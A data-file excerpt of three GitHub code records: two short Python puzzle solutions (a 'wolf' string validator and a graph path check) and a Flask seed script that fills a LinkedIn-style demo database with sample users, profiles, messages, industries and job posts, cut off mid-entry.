+{"seq_id":"38877017967","text":"# input\nword = input()\n# process\n'''\n처음에 o가 나올때까지 w의 개수를 세면 됨.\n'''\nisValid = True\ni = 0\nwhile i < len(word):\n\t# w\n\twCnt = 0\n\twhile i < len(word) and word[i] == 'w':\n\t\ti += 1\n\t\twCnt += 1\n\tif wCnt == 0: isValid = False\n\t# o\n\tcnt = 0\n\twhile i < len(word) and word[i] == 'o':\n\t\ti += 1\n\t\tcnt += 1\n\tif cnt != wCnt: isValid = False\n\t# l\n\tcnt = 0\n\twhile i < len(word) and word[i] == 'l':\n\t\ti += 1\n\t\tcnt += 1\n\tif cnt != wCnt: isValid = False\n\t# f\n\tcnt = 0\n\twhile i < len(word) and word[i] == 'f':\n\t\ti += 1\n\t\tcnt += 1\n\tif cnt != wCnt: isValid = False\n\tif not isValid: break\n# output\nprint(1 if isValid else 0)","repo_name":"WaiNaat/BOJ-Python","sub_path":"13022.py","file_name":"13022.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33501868039","text":"class Solution:\n    def validPath(self, n: int, edges: List[List[int]], source: int, destination: int) -> bool:\n        adj = defaultdict(list)\n        \n        for src, dest in edges:\n            adj[src].append(dest)\n            adj[dest].append(src)\n        \n        def dfs(node, visited=set()):\n            visited.add(node)\n            if node == destination:\n                return True\n            \n            for neigh in adj[node]:\n                if neigh not in visited:\n                    if dfs(neigh):\n                        return True\n            \n            return False\n    \n        if dfs(source):\n            return True\n        \n        return False","repo_name":"dagiTensay/competitve-programming","sub_path":"1971-find-if-path-exists-in-graph/1971-find-if-path-exists-in-graph.py","file_name":"1971-find-if-path-exists-in-graph.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39269774198","text":"#pylint: disable=C0301\nfrom app import app, db\n\nfrom models.user import UserSchema\nfrom models.profile_folder.profile import Profile, Experience, Education\nfrom models.message import Message\nfrom models.post.job_post import JobPost\nfrom models.post.social_post import SocialPost, Comment\nfrom models.post.industry import Industry\nfrom models.friend import Friend\n\nuser_schema = UserSchema()\n\nwith app.app_context():\n    db.drop_all()\n    db.create_all()\n\n# Users =====================================================================\n    moon, errors = user_schema.load({\n        'username': 'moon',\n    \t'email': 'moon@email.com',\n    \t'password': 'Moon12345',\n    \t'password_confirmation': 'Moon12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    wes, errors = user_schema.load({\n        'username': 'wes',\n    \t'email': 'wes@email.com',\n    \t'password': 'Wes12345',\n    \t'password_confirmation': 'Wes12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    jack, errors = user_schema.load({\n        'username': 'beanslord',\n    \t'email': 'jack@email.com',\n    \t'password': 'Password12345',\n    \t'password_confirmation': 'Password12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    alex, errors = user_schema.load({\n        'username': 'alex',\n    \t'email': 'alex@email.com',\n    \t'password': 'Password12345',\n    \t'password_confirmation': 'Password12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    bob, errors = user_schema.load({\n        'username': 'bob',\n    \t'email': 'bob@email.com',\n    \t'password': 'Password12345',\n    \t'password_confirmation': 'Password12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    janet, errors = user_schema.load({\n        'username': 'janet',\n    \t'email': 'janet@email.com',\n    \t'password': 'Password12345',\n    \t'password_confirmation': 'Password12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    tom, errors = user_schema.load({\n        'username': 'tom',\n    \t'email': 'tom@email.com',\n    \t'password': 'Password12345',\n    \t'password_confirmation': 'Password12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    john, errors = user_schema.load({\n        'username': 'john',\n    \t'email': 'john@email.com',\n    \t'password': 'Password12345',\n    \t'password_confirmation': 'Password12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    oliver, errors = user_schema.load({\n        'username': 'oliver',\n    \t'email': 'oliver@email.com',\n    \t'password': 'Password12345',\n    \t'password_confirmation': 'Password12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    olivia, errors = user_schema.load({\n        'username': 'olivia',\n    \t'email': 'olivia@email.com',\n    \t'password': 'Password12345',\n    \t'password_confirmation': 'Password12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    amelia, errors = user_schema.load({\n        'username': 'amelia',\n    \t'email': 'amelia@email.com',\n    \t'password': 'Password12345',\n    \t'password_confirmation': 'Password12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    isla, errors = user_schema.load({\n        'username': 'isla',\n    \t'email': 'isla@email.com',\n    \t'password': 'Password12345',\n    \t'password_confirmation': 'Password12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    george, errors = user_schema.load({\n        'username': 'george',\n    \t'email': 'george@email.com',\n    \t'password': 'Password12345',\n    \t'password_confirmation': 'Password12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    charlie, errors = user_schema.load({\n        'username': 'charlie',\n    \t'email': 'charlie@email.com',\n    \t'password': 'Password12345',\n    \t'password_confirmation': 'Password12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    jacob, errors = user_schema.load({\n        'username': 'jacob',\n    \t'email': 'jacob@email.com',\n    \t'password': 'Password12345',\n    \t'password_confirmation': 'Password12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    jason, errors = user_schema.load({\n        'username': 'jason',\n    \t'email': 'jason@email.com',\n    \t'password': 'Password12345',\n    \t'password_confirmation': 'Password12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    david, errors = user_schema.load({\n        'username': 'david',\n    \t'email': 'david@email.com',\n    \t'password': 'Password12345',\n    \t'password_confirmation': 'Password12345'\n    })\n\n    if errors:\n        raise Exception(errors)\n\n    db.session.add_all([\n        moon,\n        wes,\n        jack,\n        alex,\n        bob,\n        janet,\n        tom,\n        john,\n        oliver,\n        olivia,\n        amelia,\n        isla,\n        george,\n        charlie,\n        jacob,\n        jason,\n        david\n    ])\n\n\n# Profiles =================================================================\n    profile_moon = Profile(\n        name='Seong Jae Moon',\n        headline='Web Development Immersive Student',\n        summary='I dont like to dance',\n        location='Sutton, UK',\n        owner=moon\n    )\n\n    profile_wes = Profile(\n        name='Wesley Hall',\n        headline='Web Development Immersive Student',\n        image='../assets/images/profiles/wes.jpg',\n        summary='''With a strong interest in technology and a logical and creative approach to problem solving, I decided to leave my job as a generalist Marketing Executive and join the Web Development Immersive course at General Assembly London in January 2018.\n\n        I am looking for an opportunity to continue my career change in an environment that both supports my desire to learn and grow as a full-stack developer and my desire to collaborate with and help others working towards similar goals.''',\n        location='London, UK',\n        owner=wes\n    )\n\n    profile_jack = Profile(\n        name='Jack May',\n        headline='Instructor at General Assembly',\n        summary='I\\'m a Software Engineering Instructor at General Assembly London. My favourite colour is dodger blue!',\n        location='Portsmouth, UK',\n        owner=jack\n    )\n\n    profile_alex = Profile(\n        name='Alex Francis',\n        headline='Teaching Assistant at General Assembly',\n        summary='After finishing as a Teaching Assistant at Generally Assembly I will be starting as a Junior Frontend Engineer at Spotify,',\n        location='Croydon, UK',\n        owner=alex\n    )\n\n    profile_bob = Profile(\n        name='Bob de Builder',\n        headline='Junior Web Developer at Dark Trace',\n        image='../assets/images/profiles/man4.jpg',\n        summary='I am a Junior Web Developer at Dark Trace',\n        location='Essex, UK',\n        owner=bob\n    )\n\n    profile_janet = Profile(\n        name='Janet Brown',\n        headline='Senior Web Developer at BBC',\n        image='../assets/images/profiles/woman3.jpg',\n        summary='I am a Junior Web Developer at BBC',\n        location='Canary Wharf, UK',\n        owner=janet\n    )\n\n    profile_tom = Profile(\n        name='Tom Brown',\n        headline='Web Developer at BBC',\n        summary='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.',\n        location='TowerBridge, UK',\n        owner=tom\n    )\n\n    profile_john = Profile(\n        name='John Smith',\n        headline='Marketing Director at Utility Warehouse Limited ',\n        image='../assets/images/profiles/man6.jpg',\n        summary='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.',\n        location='Kingston, UK',\n        owner=john\n    )\n\n    profile_oliver = Profile(\n        name='Oliver Wratten',\n        headline='Graduate Analyst at Two Circles ',\n        summary='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.',\n        location='Richmond, UK',\n        owner=oliver\n    )\n\n    profile_olivia = Profile(\n        name='Olivia Johnson',\n        headline='Senior Membership Executive at FOURTEEN PEOPLE ',\n        image='../assets/images/profiles/woman2.jpg',\n        summary='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.',\n        location='Acton, UK',\n        owner=olivia\n    )\n\n    profile_amelia = Profile(\n        name='Amelia Jones',\n        headline='Finance Analyst at Goodman Masson',\n        image='../assets/images/profiles/woman1.jpg',\n        summary='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.',\n        location='North hampton, UK',\n        owner=amelia\n    )\n\n    profile_isla = Profile(\n        name='Isla Miller',\n        headline='Financial Controller at Pertemps',\n        summary='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.',\n        location='Wapping, UK',\n        owner=isla\n    )\n\n    profile_george = Profile(\n        name='George Williams',\n        headline='Management Accountant at Crowley Cox',\n        image='../assets/images/profiles/man5.jpg',\n        summary='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.',\n        location='Wapping, UK',\n        owner=george\n    )\n\n    profile_charlie = Profile(\n        name='Charlie Wilson',\n        headline='Senior architect at 1508 London',\n        image='../assets/images/profiles/man3.jpg',\n        summary='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.',\n        location='Wapping, UK',\n        owner=charlie\n    )\n\n    profile_jacob = Profile(\n        name='Jacob Davis',\n        headline='Intern at EBRD',\n        summary='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.',\n        location='Wapping, UK',\n        owner=jacob\n    )\n    profile_jason = Profile(\n        name='Jason Jones',\n        headline='Head of Health Department at Kings College',\n        image='../assets/images/profiles/man2.jpg',\n        summary='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.',\n        location='Wapping, UK',\n        owner=jason\n    )\n\n    profile_david = Profile(\n        name='David Miller',\n        headline='Director at Recruitment agency',\n        summary='Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.',\n        location='Canary, UK',\n        owner=david\n    )\n\n\n    db.session.add_all([\n        profile_moon,\n        profile_wes,\n        profile_jack,\n        profile_alex,\n        profile_bob,\n        profile_janet,\n        profile_tom,\n        profile_john,\n        profile_oliver,\n        profile_olivia,\n        profile_amelia,\n        profile_isla,\n        profile_george,\n        profile_charlie,\n        profile_jacob,\n        profile_jason,\n        profile_david\n    ])\n\n\n# Friend Requests ==========================================================\n    friend_request_1 = Friend(friend_a=moon, friend_b=wes, status='Accepted')\n    friend_request_2 = Friend(friend_a=moon, friend_b=jack, status='Accepted')\n    friend_request_3 = Friend(friend_a=moon, friend_b=alex, status='Accepted')\n    friend_request_4 = Friend(friend_a=wes, friend_b=jack, status='Requested')\n    friend_request_5 = Friend(friend_a=wes, friend_b=alex, status='Accepted')\n    friend_request_5 = Friend(friend_a=wes, friend_b=jacob, status='Accepted')\n    friend_request_6 = Friend(friend_a=janet, friend_b=moon, status='Requested')\n    friend_request_7 = Friend(friend_a=bob, friend_b=moon, status='Requested')\n    friend_request_8 = Friend(friend_a=janet, friend_b=wes, status='Requested')\n    friend_request_9 = Friend(friend_a=bob, friend_b=wes, status='Requested')\n    friend_request_9 = Friend(friend_a=george, friend_b=wes, status='Requested')\n    friend_request_9 = Friend(friend_a=isla, friend_b=wes, status='Requested')\n    friend_request_9 = Friend(friend_a=jacob, friend_b=moon, status='Requested')\n\n    db.session.add_all([\n        friend_request_1,\n        friend_request_2,\n        friend_request_3,\n        friend_request_4,\n        friend_request_5,\n        friend_request_6,\n        friend_request_7,\n        friend_request_8,\n        friend_request_9\n    ])\n\n\n# Profile Education =====================================================\n\n    education_1 = Education(\n        school='General Assembly',\n        degree='Web Development Immersive',\n        field_of_study='Web Development',\n        start_date='2019-01-28',\n        end_date='2019-04-18',\n        description='A 12-week immersive course in web development.',\n        profile=profile_wes\n    )\n\n    education_2 = Education(\n        school='Regent\\'s University London',\n        degree='BA (Hons) International Business with Marketing and Chinese (Mandarin)',\n        field_of_study='International Business',\n        start_date='2011-09-01',\n        end_date='2014-12-15',\n        grade='2:1',\n        profile=profile_wes\n    )\n\n    education_3 = Education(\n        school='General Assembly',\n        degree='Web Development Immersive',\n        field_of_study='Web Development',\n        start_date='2019-01-28',\n        end_date='2019-04-18',\n        description='A 12-week immersive course in web development.',\n        profile=profile_moon\n    )\n\n    education_4 = Education(\n        school='King\\'s College',\n        degree='blah',\n        field_of_study='Physics',\n        start_date='2017-09-01',\n        end_date='2019-05-28',\n        grade='First',\n        profile=profile_moon\n    )\n\n    db.session.add_all([\n        education_1,\n        education_2,\n        education_3,\n        education_4\n    ])\n\n# Profile Experience ========================================================\n\n    experience_1 = Experience(\n        title='Web Development Immersive Student',\n        company='General Assembly',\n        location='London, UK',\n        start_date='2019-01-28',\n        end_date='2019-04-18',\n        description='12-week full-time course in Web Development.',\n        profile=profile_wes\n    )\n\n    experience_2 = Experience(\n        title='Marketing Executive',\n        company='SSL247',\n        location='London, UK',\n        start_date='2017-06-05',\n        end_date='2018-12-21',\n        description='Marketing Executive for a web security and cybersecurity company.',\n        profile=profile_wes\n    )\n    experience_3 = Experience(\n        title='Marketing Assistant',\n        company='First Point Group',\n        location='London, UK',\n        start_date='2016-11-15',\n        end_date='2017-05-31',\n        description='Marketing Assistant for a recruitment company.',\n        profile=profile_wes\n    )\n\n    db.session.add_all([\n        experience_1,\n        experience_2,\n        experience_3\n    ])\n\n\n# Messages =================================================================\n\n    message_1 = Message(\n        message_content='Hi Wesley, thanks for accepting my request! ',\n        sender=moon,\n        receiver=wes\n    )\n\n    message_2 = Message(\n        message_content='Hey Seong Jae, no worries. How is your job search coming along?',\n        sender=wes,\n        receiver=moon\n    )\n\n    message_3 = Message(\n        message_content='It is great',\n        sender=moon,\n        receiver=wes\n    )\n\n    message_4 = Message(\n        message_content='Hi Jack, thanks for accepting my request! ',\n        sender=moon,\n        receiver=jack\n    )\n\n    message_5 = Message(\n        message_content='Hi Alex, thanks for accepting my request! ',\n        sender=moon,\n        receiver=jack\n    )\n\n    message_6 = Message(\n        message_content='Hi Bob, How are you?',\n        sender=moon,\n        receiver=bob\n    )\n\n    message_7 = Message(\n        message_content='Hi Alex, thanks for accepting my request!',\n        sender=wes,\n        receiver=alex\n    )\n\n    message_8 = Message(\n        message_content='Hi Jacob, thanks for accepting my request!',\n        sender=wes,\n        receiver=jacob\n    )\n\n    message_9 = Message(\n        message_content='Hi Wes, How are you?',\n        sender=george,\n        receiver=wes\n    )\n\n    message_10 = Message(\n        message_content='Hi Wes, How are you?',\n        sender=isla,\n        receiver=wes\n    )\n\n    db.session.add_all([\n        message_1,\n        message_2,\n        message_3,\n        message_4,\n        message_5,\n        message_6,\n        message_7,\n        message_8,\n        message_9,\n        message_10,\n    ])\n\n\n# Industries ===============================================================\n# pylint: disable=C0326\n    industry1 = Industry(industry='Agriculture and Mining')\n    industry2 = Industry(industry='Farming and Ranching')\n    industry3 = Industry(industry='Fishing, Hunting and Forestry and Logging')\n    industry4 = Industry(industry='Mining and Quarrying')\n    industry5 = Industry(industry='Agriculture & Mining Other')\n    industry6 = Industry(industry='Business Services')\n    industry7 = Industry(industry='Accounting and Tax Preparation')\n    industry8 = Industry(industry='Advertising, Marketing and PR')\n    industry9 = Industry(industry='Data and Records Management')\n    industry10 = Industry(industry='Facilities Management and Maintenance')\n    industry11 = Industry(industry='HR and Recruiting Services')\n    industry12 = Industry(industry='Legal Services')\n    industry13 = Industry(industry='Management Consulting')\n    industry14 = Industry(industry='Payroll Services')\n    industry15 = Industry(industry='Sales Services')\n    industry16 = Industry(industry='Security Services')\n    industry17 = Industry(industry='Business Services Other')\n    industry18 = Industry(industry='Computer and Electronics')\n    industry19 = Industry(industry='Audio, Video and Photography')\n    industry20 = Industry(industry='Computers, Parts and Repair')\n    industry21 = Industry(industry='Consumer Electronics, Parts and Repair')\n    industry22 = Industry(industry='IT and Network Services and Support')\n    industry23 = Industry(industry='Instruments and Controls')\n    industry24 = Industry(industry='Network Security Products')\n    industry25 = Industry(industry='Networking equipment and Systems')\n    industry26 = Industry(industry='Office Machinery and Equipment')\n    industry27 = Industry(industry='Peripherals Manufacturing')\n    industry28 = Industry(industry='Semiconductor and Microchip Manufacturing')\n    industry29 = Industry(industry='Computer and Electronics Other')\n    industry30 = Industry(industry='Consumer Services')\n    industry31 = Industry(industry='Automotive Repair and Maintenance')\n    industry32 = Industry(industry='Funeral Homes and Services')\n    industry33 = Industry(industry='Laundry and Dry Cleaning')\n    industry34 = Industry(industry='Parking Lots and Garage Management')\n    industry35 = Industry(industry='Personal Care')\n    industry36 = Industry(industry='Photofinishing Services')\n    industry37 = Industry(industry='Consumer Services Other')\n    industry38 = Industry(industry='Education')\n    industry39 = Industry(industry='Colleges and Universities')\n    industry40 = Industry(industry='Elementary and Secondary Schools')\n    industry41 = Industry(industry='Libraries, Archives and Museums')\n    industry42 = Industry(industry='Sports, Arts, and Recreation Instruction')\n    industry43 = Industry(industry='Technical and Trade Schools')\n    industry44 = Industry(industry='Test Preparation')\n    industry45 = Industry(industry='Education Other')\n    industry46 = Industry(industry='Energy and Utilities')\n    industry47 = Industry(industry='Alternative Energy Sources')\n    industry48 = Industry(industry='Gas and Electric Utilities')\n    industry49 = Industry(industry='Gasoline and Oil Refineries')\n    industry50 = Industry(industry='Sewage Treatment Facilities')\n    industry51 = Industry(industry='Waste Management and Recycling')\n    industry52 = Industry(industry='Water Treatment and Utilities')\n    industry53 = Industry(industry='Energy and Utilities Other')\n    industry54 = Industry(industry='Financial Services')\n    industry55 = Industry(industry='Banks')\n    industry56 = Industry(industry='Credit Cards and Related Services')\n    industry57 = Industry(industry='Credit Unions')\n    industry58 = Industry(industry='Insurance and Risk Management')\n    industry59 = Industry(industry='Investment Banking and Venture Capital')\n    industry60 = Industry(industry='Lending and Mortgage')\n    industry61 = Industry(industry='Personal Financial Planning and Private Banking')\n    industry62 = Industry(industry='Securities Agents and Brokers')\n    industry63 = Industry(industry='Trust, Fiduciary, and Custody Activities')\n    industry64 = Industry(industry='Financial Services Other')\n    industry65 = Industry(industry='Government')\n    industry66 = Industry(industry='International Bodies and Organizations')\n    industry67 = Industry(industry='Local Government')\n    industry68 = Industry(industry='National Government')\n    industry69 = Industry(industry='State/Provincial Government')\n    industry70 = Industry(industry='Government Other')\n    industry71 = Industry(industry='Health, Pharmaceuticals, and Biotech')\n    industry72 = Industry(industry='Biotechnology')\n    industry73 = Industry(industry='Diagnostic Laboratories')\n    industry74 = Industry(industry='Doctors and Health Care Practitioners')\n    industry75 = Industry(industry='Hospitals')\n    industry76 = Industry(industry='Medical Devices')\n    industry77 = Industry(industry='Medical Supplies and Equipment')\n    industry78 = Industry(industry='Outpatient Care Centers')\n    industry79 = Industry(industry='Personal Health Care Products')\n    industry80 = Industry(industry='Pharmaceuticals')\n    industry81 = Industry(industry='Residential and Long-term Care Facilities')\n    industry82 = Industry(industry='Veterinary Clinics and Services')\n    industry83 = Industry(industry='Health, Pharmaceuticals, and Biotech Other')\n    industry84 = Industry(industry='Manufacturing')\n    industry85 = Industry(industry='Aerospace and Defense')\n    industry86 = Industry(industry='Alcoholic Beverages')\n    industry87 = Industry(industry='Automobiles, Boats and Motor Vehicles')\n    industry88 = Industry(industry='Chemicals and Petrochemicals')\n    industry89 = Industry(industry='Concrete, Glass and Building Materials')\n    industry90 = Industry(industry='Farming and Mining Machinery and Equipment')\n    industry91 = Industry(industry='Food and Dairy Product Manufacturing and Packaging')\n    industry92 = Industry(industry='Furniture Manufacturing')\n    industry93 = Industry(industry='Metals Manufacturing')\n    industry94 = Industry(industry='Nonalcoholic Beverages')\n    industry95 = Industry(industry='Paper and Paper Products')\n    industry96 = Industry(industry='Plastics and Rubber Manufacturing')\n    industry97 = Industry(industry='Textiles, Apparel and Accessories')\n    industry98 = Industry(industry='Tools, Hardware and Light Machinery')\n    industry99 = Industry(industry='Manufacturing Other')\n    industry100 = Industry(industry='Media and Entertainment')\n    industry101 = Industry(industry='Adult Entertainment')\n    industry102 = Industry(industry='Motion Picture Exhibitors')\n    industry103 = Industry(industry='Motion Picture and Recording Producers')\n    industry104 = Industry(industry='Newspapers, Books, and Periodicals')\n    industry105 = Industry(industry='Performing Arts')\n    industry106 = Industry(industry='Radio, Television Broadcasting')\n    industry107 = Industry(industry='Media and Entertainment Other')\n    industry108 = Industry(industry='Non-profit')\n    industry109 = Industry(industry='Advocacy Organizations')\n    industry110 = Industry(industry='Charitable Organizations and Foundations')\n    industry111 = Industry(industry='Professional Associations')\n    industry112 = Industry(industry='Religious Organizations')\n    industry113 = Industry(industry='Social and Membership Organizations')\n    industry114 = Industry(industry='Trade Groups and Labor Unions')\n    industry115 = Industry(industry='Non-profit Other')\n    industry116 = Industry(industry='Other')\n    industry117 = Industry(industry='Other')\n    industry118 = Industry(industry='Real Estate and Construction')\n    industry119 = Industry(industry='Architecture, Engineering and Design')\n    industry120 = Industry(industry='Construction Equipment and Supplies')\n    industry121 = Industry(industry='Construction and Remodeling')\n    industry122 = Industry(industry='Property Leasing and Management')\n    industry123 = Industry(industry='Real Estate Agents and Appraisers')\n    industry124 = Industry(industry='Real Estate Investment and Development')\n    industry125 = Industry(industry='Real Estate and Construction Other')\n    industry126 = Industry(industry='Retail')\n    industry127 = Industry(industry='Automobile Dealers')\n    industry128 = Industry(industry='Automobile Parts and Supplies')\n    industry129 = Industry(industry='Beer, Wine and Liquor Stores')\n    industry130 = Industry(industry='Clothing and Shoe Stores')\n    industry131 = Industry(industry='Department Stores')\n    industry132 = Industry(industry='Florist')\n    industry133 = Industry(industry='Furniture Stores')\n    industry134 = Industry(industry='Gasoline Stations')\n    industry135 = Industry(industry='Grocery and Specialty Stores')\n    industry136 = Industry(industry='Hardware and Building Material Dealers')\n    industry137 = Industry(industry='Jewelry, Luggage, and Leather Goods')\n    industry138 = Industry(industry='Office Supplies Stores')\n    industry139 = Industry(industry='Restaurants and Bars')\n    industry140 = Industry(industry='Sporting Goods, Hobby, Books and Music Stores')\n    industry141 = Industry(industry='Retail Others')\n    industry142 = Industry(industry='Software and Internet')\n    industry143 = Industry(industry='Data Analytics, Management, and Internet')\n    industry144 = Industry(industry='E-Commerce and Internet Business')\n    industry145 = Industry(industry='Games and Gaming')\n    industry146 = Industry(industry='Software')\n    industry147 = Industry(industry='Software and Internet Other')\n    industry148 = Industry(industry='Telecommunications')\n    industry149 = Industry(industry='Cable and Television Providers')\n    industry150 = Industry(industry='Telecommunications Equipment and Accessories')\n    industry151 = Industry(industry='Telephone Service Providers and Carriers')\n    industry152 = Industry(industry='Video and Teleconferencing')\n    industry153 = Industry(industry='Wireless and Mobile')\n    industry154 = Industry(industry='Telecommunications Other')\n    industry155 = Industry(industry='Transportation and Storage')\n    industry156 = Industry(industry='Air Couriers and Caro Services')\n    industry157 = Industry(industry='Airport, Harbor, and Terminal Operations')\n    industry158 = Industry(industry='Freight Hauling (Rail and Truck)')\n    industry159 = Industry(industry='Marine and Inland Shipping')\n    industry160 = Industry(industry='Moving Companies and Services')\n    industry161 = Industry(industry='Postal, Express Delivery and Couriers')\n    industry162 = Industry(industry='Warehousing and Storage')\n    industry163 = Industry(industry='Transportation and Storage Other')\n    industry164 = Industry(industry='Travel Recreation and Leisure')\n    industry165 = Industry(industry='Amusement Parks and Attractions')\n    industry166 = Industry(industry='Cruise Ship Operations')\n    industry167 = Industry(industry='Gambling and Gaming Lodging')\n    industry168 = Industry(industry='Participatory Sports and Recreation')\n    industry169 = Industry(industry='Passenger Airlines')\n    industry170 = Industry(industry='Rental Cars')\n    industry171 = Industry(industry='Resorts and Casinos')\n    industry172 = Industry(industry='Spectator Sports and Teams')\n    industry173 = Industry(industry='Taxi, Buses and Transit Systems')\n    industry174 = Industry(industry='Travel Agents and Services')\n    industry175 = Industry(industry='Travel, Recreations and Leisure Other')\n    industry176 = Industry(industry='Wholesale and Distribution')\n    industry177 = Industry(industry='Apparel Wholesalers')\n    industry178 = Industry(industry='Automobile Parts Wholesalers')\n    industry179 = Industry(industry='Beer, Wine and Liquor Wholesalers')\n    industry180 = Industry(industry='Chemicals and Plastics Wholesalers')\n    industry181 = Industry(industry='Grocery and Food Wholesalers')\n    industry182 = Industry(industry='Lumber and Construction Materials Wholesalers')\n    industry183 = Industry(industry='Metal and Mineral Wholesalers')\n    industry184 = Industry(industry='Office Equipment and Suppliers Wholesalers')\n    industry185 = Industry(industry='Petroleum Products Wholesalers')\n    industry186 = Industry(industry='Wholesale and Distribution Other')\n\n    db.session.add_all([\n        industry1,\n        industry2,\n        industry3,\n        industry4,\n        industry5,\n        industry6,\n        industry7,\n        industry8,\n        industry9,\n        industry10,\n        industry11,\n        industry12,\n        industry13,\n        industry14,\n        industry15,\n        industry16,\n        industry17,\n        industry18,\n        industry19,\n        industry20,\n        industry21,\n        industry22,\n        industry23,\n        industry24,\n        industry25,\n        industry26,\n        industry27,\n        industry28,\n        industry29,\n        industry30,\n        industry31,\n        industry32,\n        industry33,\n        industry34,\n        industry35,\n        industry36,\n        industry37,\n        industry38,\n        industry39,\n        industry40,\n        industry41,\n        industry42,\n        industry43,\n        industry44,\n        industry45,\n        industry46,\n        industry47,\n        industry48,\n        industry49,\n        industry50,\n        industry51,\n        industry52,\n        industry53,\n        industry54,\n        industry55,\n        industry56,\n        industry57,\n        industry58,\n        industry59,\n        industry60,\n        industry61,\n        industry62,\n        industry63,\n        industry64,\n        industry65,\n        industry66,\n        industry67,\n        industry68,\n        industry69,\n        industry70,\n        industry71,\n        industry72,\n        industry73,\n        industry74,\n        industry75,\n        industry76,\n        industry77,\n        industry78,\n        industry79,\n        industry80,\n        industry81,\n        industry82,\n        industry83,\n        industry84,\n        industry85,\n        industry86,\n        industry87,\n        industry88,\n        industry89,\n        industry90,\n        industry91,\n        industry92,\n        industry93,\n        industry94,\n        industry95,\n        industry96,\n        industry97,\n        industry98,\n        industry99,\n        industry100,\n        industry101,\n        industry102,\n        industry103,\n        industry104,\n        industry105,\n        industry106,\n        industry107,\n        industry108,\n        industry109,\n        industry110,\n        industry111,\n        industry112,\n        industry113,\n        industry114,\n        industry115,\n        industry116,\n        industry117,\n        industry118,\n        industry119,\n        industry120,\n        industry121,\n        industry122,\n        industry123,\n        industry124,\n        industry125,\n        industry126,\n        industry127,\n        industry128,\n        industry129,\n        industry130,\n        industry131,\n        industry132,\n        industry133,\n        industry134,\n        industry135,\n        industry136,\n        industry137,\n        industry138,\n        industry139,\n        industry140,\n        industry141,\n        industry142,\n        industry143,\n        industry144,\n        industry145,\n        industry146,\n        industry147,\n        industry148,\n        industry149,\n        industry150,\n        industry151,\n        industry152,\n        industry153,\n        industry154,\n        industry155,\n        industry156,\n        industry157,\n        industry158,\n        industry159,\n        industry160,\n        industry161,\n        industry162,\n        industry163,\n        industry164,\n        industry165,\n        industry166,\n        industry167,\n        industry168,\n        industry169,\n        industry170,\n        industry171,\n        industry172,\n        industry173,\n        industry174,\n        industry175,\n        industry176,\n        industry177,\n        industry178,\n        industry179,\n        industry180,\n        industry181,\n        industry182,\n        industry183,\n        industry184,\n        industry185,\n        industry186\n    ])\n\n\n# Job Posts =================================================================\n\n    job_post_1 = JobPost(\n        company='General Assembly',\n        job_title=\"Teaching Assitant - Software Engineering Immersive\",\n        post_content='This role is available to Software Engineering Immersive and Web Development Immersive alumni. Get in touch to apply!',\n        post_image='../assets/images/companies/general_assembly.png',\n        owner=jack,\n        industries=[industry2, industry5],\n        liked_by=[wes]\n    )\n\n    job_post_2 = JobPost(\n        company='General Assembly',\n        job_title=\"Teaching Assistant - UX Design Immersive\",\n        post_content='This role is available to Software Engineering Immersive and Web Development Immersive alumni. Get in touch to 